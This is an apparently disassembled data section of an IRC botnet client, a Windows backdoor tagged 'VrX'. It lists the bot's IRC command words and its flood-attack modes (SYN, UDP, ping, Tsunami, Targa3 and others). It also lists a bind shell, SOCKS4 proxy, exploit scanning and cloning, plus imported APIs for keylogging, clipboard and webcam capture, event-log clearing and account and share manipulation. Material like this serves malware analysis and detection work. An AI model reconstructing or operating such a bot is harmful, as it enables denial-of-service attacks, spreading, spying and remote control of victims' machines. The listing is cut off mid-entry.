aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o align 10h aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo align 4 aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o ; sub_401ACD+17D5o align 10h aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o align 10h aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo aT: ; DATA XREF: sub_401ACD+16D9o ; ___:00438AFCo unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o unk_42C628 db 3 ; DATA XREF: sub_401ACD+1690o a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0 align 4 unk_42C64C db 3 ; DATA XREF: sub_401ACD+1689o a81VrxRebooting db '8,1-VrX- Rebooting system.',0 aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o aI: ; DATA XREF: sub_401ACD+165Do unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1648o align 4 aS_0: ; DATA XREF: sub_401ACD+1633o ; ___:00438B4Co unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo align 4 aQ: ; DATA XREF: sub_401ACD+1609o ; ___:off_438768o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o align 10h aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo align 10h aR: ; DATA XREF: sub_401ACD+15B5o ; sub_401ACD+3D8Eo ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o align 10h aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co align 10h aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do align 10h aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o align 4 dword_42C70C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o align 10h aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo align 4 dword_42C72C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o align 10h dword_42C750 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo align 10h aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o align 10h dword_42C7A0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co unk_42C7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C81C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o ; sub_401ACD+13A3o dword_42C82C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1302o ; sub_401ACD+139Eo dword_42C83C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o ; sub_401ACD+137Ao dword_42C84C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+12E4o ; sub_401ACD+1375o dword_42C85C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o ; sub_401ACD+13F5o dword_42C868 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o ; sub_401ACD+13F0o dword_42C874 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo ; sub_401ACD+13CCo dword_42C880 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o ; sub_401ACD+13C7o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o align 4 dword_42C898 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo ; sub_401ACD+12C8o dword_42C8A4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o ; sub_401ACD+12C3o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo align 4 dword_42C8BC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o ; sub_401ACD+12AAo dword_42C8CC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11CDo ; sub_401ACD+12A5o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o align 4 dword_42C8E8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o ; sub_401ACD+1328o dword_42C8F8 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11A4o ; sub_401ACD+1323o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo align 4 dword_42C914 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o ; sub_401ACD+124Ao dword_42C920 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo ; sub_401ACD+1245o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o dword_42C934 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o ; sub_401ACD+122Co dword_42C940 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o ; sub_401ACD+1227o dword_42C94C dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o dword_42C958 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo dword_42C968 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1129o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o align 4 dword_42C988 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o dword_42C994 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1100o aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o dword_42C9A8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo align 4 dword_42C9C4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o align 10h dword_42C9E0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o align 10h aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o align 4 dword_42CA08 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1037o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o ; sub_401ACD+1085o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o ; sub_401ACD+2D26o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo ; sub_401ACD+2D15o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o align 4 aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co align 4 aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o align 10h aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o align 10h aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o align 4 aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o ; sub_401ACD+EDEo aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o align 10h aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co a63 db '63',0 ; DATA XREF: sub_401ACD+D69o align 4 asc_42CAAC: ; DATA XREF: sub_401ACD+D41o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+CF9o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo align 4 aUser_1 db '$user',0 ; DATA XREF: sub_401ACD+CBBo align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o aD db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo aD_0 db '$%d-',0 ; DATA XREF: sub_401ACD+B77o align 4 aK: ; DATA XREF: sub_401ACD+A9Fo ; sub_401ACD+3DBCo unicode 0, <k>,0 aC: ; DATA XREF: sub_401ACD+A87o ; sub_401ACD+4AA4o unicode 0, <c>,0 unk_42CAF4 db 2Dh ; - ; DATA XREF: sub_401ACD+A64o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CB28 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CB58 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0 align 10h unk_42CB90 db 2Dh ; - ; DATA XREF: sub_401ACD+9D3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co align 4 unk_42CBB8 db 2Dh ; - ; DATA XREF: sub_401ACD+91Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CBFC db 2Dh ; - ; DATA XREF: sub_401ACD+904o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CC38 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+8F3o dd 0A0Dh dword_42CC50 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo dword_42CC58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8B4o dd 0D017325h, 0Ah dword_42CC74 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o dword_42CC80 dd 23h ; DATA XREF: sub_401ACD+7FAo ; sub_40CD43+1Bo unk_42CC84 db 2Dh ; - ; DATA XREF: sub_401ACD+769o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+6EAo ; sub_401ACD+979o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o align 10h dword_42CCC0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o dword_42CCC8 dd 323333h ; DATA XREF: sub_401ACD+62Fo ; sub_401ACD+AC1o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do ; sub_409869+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o ; sub_409869+16o unk_42CCDC db 3 ; DATA XREF: sub_401ACD+5B0o a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0 align 4 unk_42CCFC db 3 ; DATA XREF: sub_401ACD+590o a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o ; sub_401ACD+5CDo align 10h aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo align 10h aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+5F1o unk_42CD50 db 3 ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2E79o ... a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0 align 10h aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7A88o ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_417B76:loc_417BDEo a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3BBo ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_417B76+50o align 4 asc_42CDBC: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7B9Do unicode 0, <!>,0 asc_42CDC0: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E41o ... unicode 0, < >,0 asc_42CDC4 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_4025E6o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo ; sub_418AF1+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o ; sub_418AF1+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409909+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409909+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao align 10h aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_409909+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o align 10h aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o align 10h aConnect db 'connect',0 ; DATA XREF: sub_409909+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo ; sub_425029+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao align 4 unk_42D6C4 db 2Dh ; - ; DATA XREF: sub_40A5C5+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: 